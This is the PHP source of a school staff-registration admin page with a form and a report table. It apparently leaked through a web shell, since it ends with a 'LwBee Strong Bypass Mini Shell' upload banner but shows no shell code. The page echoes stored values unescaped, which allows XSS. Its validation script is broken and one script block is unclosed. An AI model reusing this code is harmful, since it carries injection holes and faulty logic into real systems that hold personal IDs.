/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/staff_registration.php
<?php
session_start();
$_SESSION['active'] = 'staffRegistration';

include('include/header.php');

$staff_select=staff_select()
?>
<main id="main" class="main">

<div class="pagetitle">
      <h1>Apple IIT Schools</h1>
  <nav>
    <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item ">Staff Portal</li>
    </ol>
  </nav>
</div>
<section class="section">
      <div class="row">
        <div class="col-lg-12">
           <?php
              if(!empty($_POST['submit'])){
                  staff_portel();
                }
              if(!empty($_GET['succ'])){
                 ?>
                   <div style="color:green; text-align:center;"><strong>Staff Data Inserted Successfully</strong></div>
                 <?php
              }

              if(!empty($_GET['failed'])){
                 ?>
                   <div style="color:red; text-align:center;"><strong>Staff Data Already Inserted</strong></div>
                 <?php
              }

               if(!empty($_GET['upd'])){
                 ?>
                   <div style="color:green; text-align:center;"><strong>Staff Data Updated Successfully</strong></div>
                 <?php
              }
           ?>
            

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Staff Portal Entry</h5>
                
     <form method="post" onsubmit="return staff_validation()" enctype="multipart/form-data">
               <div class="row">  
                         <div class="col-md-3 mt-4">
                         <b>First Name<span style="color: red;">*</span></b>
                        <input type="text" class="form-control" id="fname" name="fname" placeholder="Enter First Name"  >
                    </div>
                    <div class="col-md-3 mt-4">
                         <b>Last Name<span style="color: red;">*</span></b>
                        <input type="text" class="form-control" id="lname" name="lname" placeholder="Enter Last Name">
                    </div>
                    <div class="col-md-3 mt-4">
                        <b>Gender</b><br>
                        <input type="radio" id=" gender" name="gender" value="male" checked>
                        <label for="male">Male</label>
                        <input type="radio" id=" gender" name="gender" value="female">
                        <label for="female">Female</label>
                    </div>
                   <!--  <div class="col-md-3 mt-4">
                         <b>C/O</b>
                        <input type="text" class="form-control" id="careof" name="careof" placeholder="Enter C/O">
                    </div> -->

                    <div class="col-md-3 mt-4">
                         <b>Email</b>
                        <input type="text" class="form-control" id="email" name="email" placeholder="Enter Email Adress ">
                    </div>

                    
                   <div class="col-md-3 mt-4">
                      <b>Joing Date</b>
                      <input type="text" class="form-control" id="datepicker" name="max" readonly placeholder="Select Date"> 
                    </div>

                    <div class="col-md-3 mt-4">
                         <b>Id number</b>
                        <input type="text" class="form-control" id="idnumber" name="idnumber" placeholder="Enter id number">
                    </div>
                   

                    <div class="col-md-3 mt-4">
                        <?php
                          $select_role = executework("SELECT * FROM add_roles");

                        ?>
                         <b>Select Job Role</b>
                        <select name="job_role" id="job_role" class="form-control" onChange="job_role123(this.value)">
                            <option value="">Please Select Role</option>
                            <?php
                               while($row = mysqli_fetch_array($select_role)){
                            ?>
                            <option value="<?= $row['role_name']?>"><?= $row['role_name']?></option>
                            <?php
                              }
                            ?>
                        </select>
                    </div>

                      <div class="col-md-3 mt-4" id="div_1" style="display:none">
                        <b>Select Subjects</b>
                        <input type="text" class="form-control" name="subject" id="subject" placeholder="Enter Subjects">
                        <?php
                          $select_subject = executework("SELECT * FROM  subject_list");

                        ?>
                         
                        <!-- <select name="subject[]" id='testSelect1' multiple class="form-control">
                            <option value="">Please Select subjects</option>
                            <?php
                               while($row = mysqli_fetch_array($select_subject)){
                            ?>
                            <option value="<?= $row['subject']?>"><?= strtoupper($row['subject'])?></option>
                            <?php
                              }
                            ?>
                        </select> -->
                    </div>

                    <div class="col-md-3 mt-4">
                         <b>Aadhar NO</b>
                        <input type="text" class="form-control" onkeypress="return isNumber(event)" id="aadhar" name="aadhar" placeholder="Enter Aadhar NO">
                    </div>
                    <div class="col-md-3 mt-4">
                         <b>Phone</b>
                        <input type="text" onkeypress="return isNumber(event)" class="form-control noSpace" id="contact" name="contact" placeholder="Enter Phone Number">
                    </div>
                
                    <div class="col-md-3 mt-4">
                         <b>Door No</b>
                       <input type="text" class="form-control" id="address" name="address" placeholder="Enter Address">

                    </div>
                   
                    <div class="col-md-3 mt-4">
                         <b>Landmark</b>
                        <input typ="text" class="form-control" id="landmark" name="landmark" placeholder="Enter Landmark Name">
                    </div>
                    <div class="col-md-3 mt-4">
                         <b>Village</b>
                        <input typ="text" class="form-control" id="village" name="village" placeholder="Enter Vilage Name">
                    </div>
                    <div class="col-md-3 mt-4">
                         <b>Mandal</b>
                        <input type="text" class="form-control" id="mandal" name="mandal" placeholder="Enter Mandal Name">
                    </div>
                    <div class="col-md-3 mt-4">
                         <b>District</b>
                        <input type="text" class="form-control" id="district" name="district" placeholder="Enter District Name">
                    </div>
                    <div class="col-md-3 mt-4">
                         <b>Pincode</b>
                        <input type="text" onkeypress="return isNumber(event)" class="form-control noSpace" id="pincode" name="pincode" placeholder="Enter Pincode Number">
                    </div>
                            <div class="col-md-3 mt-4"> 
                                <b> Photo Upload</b>
                                  <img id="image_preview1"  src="assets/img/user.png" style="height:100px;width:100px;" alt="Yor Image Preview"  />
                                <input class="form-control" type="file" id="image1" name="image1">
                               
                            </div>

                          
                           
                          
                             <div class="mt-4">
                        <input type="submit" class="btn" value="Add" name="submit" style="background-color: #69F0AE; color: #000000;">
                    </div>

                       <div class="row g-6">
                    <div class="col-lg-12">
                        <div class="whiteBg rounded h-100 p-4">
                          <!--   <h6 class="mb-4">Staff Registration Report</h6> -->
                        
                        <div class="col-12">
                        <div class="whiteBg rounded h-100 p-4">
                           <!--  <h6 class="mb-4">Staff Portal Report</h6> -->
                            <div class="table-responsive">
                   
                   
                </form>
                <h5 class="card-title text-center">Staff Portal Report</h5>
                <table class="table">
                    <thead style="background-color:#7E57C2; color: #ffff;">
                      <th scope="col">Name</th>
                         <th scope="col">Email</th>
                         <th scope="col">Date</th>
                         <th scope="col">Id&nbsp;No</th> 
                         <th scope="col">subject</th> 
                         <th scope="col">Aadhar&nbsp;NO</th> 
                         <th scope="col">Gender</th>
                         <th scope="col">Phone</th>
                         <th scope="col">Door&nbsp;No</th>
                         <th scope="col">Landmark</th>
                         <th scope="col">Village</th>
                         <th scope="col">Mandal</th>
                         <th scope="col">District</th>
                         <th scope="col">Pincode</th>
                         <th scope="col">Image</th>
                         
                         <th scope="col">Action</th>
                         </thead>
                         <tbody>
                             <?php
                             $staff_select=executework("SELECT * FROM staff_portel order by id desc limit 10");
       $i=1; 
          while ($staff_select_date = mysqli_fetch_array($staff_select)) 
            { 

       ?>
                             <tr>
                                   <td><?php echo ucfirst($staff_select_date['fname']) ?><?= $staff_select_date['lname']?></td>
         <td><?php echo ucfirst($staff_select_date['email']) ?></td>
         <td><?php echo date('d-M-Y',strtotime($staff_select_date['Joiningdate']))?></td>
         <td><?php echo ucfirst($staff_select_date['idnumber']) ?></td>
         <td><?php echo ucfirst($staff_select_date['subjects']) ?></td>
         <td><?php echo ucfirst($staff_select_date['aadhar']) ?></td>
         <td><?php echo ucfirst($staff_select_date['gender']) ?></td>
         <td><?php echo ucfirst($staff_select_date['contact']) ?></td>
         <td><?php echo ucfirst($staff_select_date['address']) ?></td>
         <td><?php echo ucfirst($staff_select_date['landmark']) ?></td>
         <td><?php echo ucfirst($staff_select_date['village']) ?></td>
         <td><?php echo ucfirst($staff_select_date['mandal']) ?></td>
         <td><?php echo ucfirst($staff_select_date['district']) ?></td>
         <td><?php echo ucfirst($staff_select_date['pincode']) ?></td>
         <td><img src="<?= $staff_select_date['image1']?>" width="60px" height="50px;"></td>
         <td>
              <div class="dropdown">
                            <button class="btn btn-secondary dropdown-toggle" type="button" id="dropdownMenuButton1" data-bs-toggle="dropdown" aria-expanded="false" style="background-color:#69F0AE;">
                              Action
                            </button>
                            <ul class="dropdown-menu" aria-labelledby="dropdownMenuButton1">
                              <li><a class="dropdown-item text-center" href="staff_registration_edit.php?edit=<?php echo $staff_select_date['id']?>">EDIT</a></li>
                              <li><a class="dropdown-item text-center" href="javascript:void();" onclick="confirmDelete(<?php echo $staff_select_date['id']?>)">DELETE</a></li>
                             
                            </ul>
                          </div>
         </td>
                        
                             </tr>
                             <?php
                              }
                             ?>
                         </tbody>
                </table>

                 </div>
             </div>
         </div>
     </div>
 </div>


               </div>
           </div>
       </div>
   </div>
</section>
</main>
                     
             <script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
             <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>   
    <script>
    function staff_validation()
    {
      
        var fname = $('#staff1').val()
        var lname = $('#staff2').val();
        var gender = $('#gender').val();
        var co = $('#careof').val();
        var email = $('#email').val();
        var joiningdate = $('#datepicker').val();
        var idnumber = $('#idnumber').val();
        var ensubject = $('#ensubject').val();
        var job_role = $('#job_role').val();
       var aadhar = $('#aadhar').val();
        var contact = $('#contact').val();
        var contact2 = $('#contact2').val();
        var address = $('#address').val();
        var address2 = $('#address2').val();
        var landmark = $('#landmark').val();
        var village = $('#village').val();
        var mandal = $('#mandal').val();
        var district = $('#district').val();
        var pincode = $('#pincode').val();
        var photoupload = $('#image1').val();
        var aadharupload = $('#image2').val();
        var otherupload = $('#image3').val();
    
        if(fname == '')
        {
          swal('Please Enter First Name');
          return false;
        }
        else if(lname == '')
        {
          swal('Please Enter Last Name');
          return false;
        }
        
           else if(gender == '')
        {
          swal('Please Select Gender');
          return false;
        }
        else if(co == '')
        {
          swal('Please Enter  Care Of');
          return false;
        }
       else if(email == '')
        {
          swal('Please Enter Email Address');
          return false;
        }
        else if(joiningdate == '')
        {
          swal('Please Enter Joining Date');
          return false;
        } 
        else if(idnumber == '')
        {
          swal('Please Enter Id Number');
          return false;
        } 
         else if(ensubject == '')
        {
          swal('Please Enter Subject');
          return false;
        } 
         else if(job_role == '')
        {
          swal('Please Select Job Role');
          return false;

        } 
        else if(job_role == 'Experience' ){
           if(otherupload == ''){
              swal('Please Choose Experience Certificate');
              return false;
           }
        }
        else if(aadhar == '')
        {
          swal('Please Enter Aadhar Number');
          return false;
        }
       
        else if(contact == '')
        {
          swal('Please Enter Contact Number1');
          return false;
        } 
        else if(contact2 == '')
        {
          swal('Please Enter Contact Number2');
          return false;
        } 
        else if(address == '')
        {
          swal('Please Enter Address 1 ');
          return false;
        } 
        else if(address2 == '')
        {
          swal('Please Enter Address 2');
          return false;
        } 
        else if(landmark == '')
        {
          swal('Please Enter Landmark');
          return false;
        } 
        else if(village == '')
        {
          swal('Please Enter Village');
          return false;
        } 
        else if(mandal == '')
        {
          swal('Please Enter Mandal');
          return false;
        } 
        else if(district == '')
        {
          swal('Please Enter District');
          return false;
        }
        else if(pincode == '')
        {
          swal('Please Enter Pincode');
          return false;
        }
        else if(photoupload == '')
        {
          swal('Please Upload  Photo');
          return false;
        }
        else if(aadharupload == '')
        {
          swal('Please Upload Aadhar');
          return false;
        }
       
        else{
          return true;
        }
    }
  </script>
<script>  
   $("#academicYear").change(function() { 



    
</script>
<script>
function readURL1(input) {
  if (input.files && input.files[0]) {
    var reader = new FileReader();
    reader.onload = function(e) {
      $('#image_preview1').attr('src', e.target.result);
    }
    reader.readAsDataURL(input.files[0]);
  }
}
$("#image1").change(function() {
  readURL1(this);
});



</script> 

<script>
    function job_role123(id){
        if(id =='TEACHERS')
        {
           $('#div_1').show();
        }
        else
        {
            $('#div_1').hide();
        }
    }
</script> 
<?php include('include/footer.php'); ?>

<script>
      function isNumber(evt,ref,len)
    {
        evt = (evt) ? evt : window.event;
        var charCode = (evt.which) ? evt.which : evt.keyCode;
        if(charCode == 8 || charCode == 9 ){
        return true;
        }
        var ctrlDown = evt.ctrlKey||evt.metaKey // Mac support

        if (charCode > 31 && (charCode < 48 || charCode > 57) && charCode != 46 || charCode == 8 || charCode == 37 || charCode == 39 || ( ctrlDown && charCode==86)) {
        return false;
        }
        else if(ref.val().length >= len){
        return false;
        }
        return true;
}
  </script>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File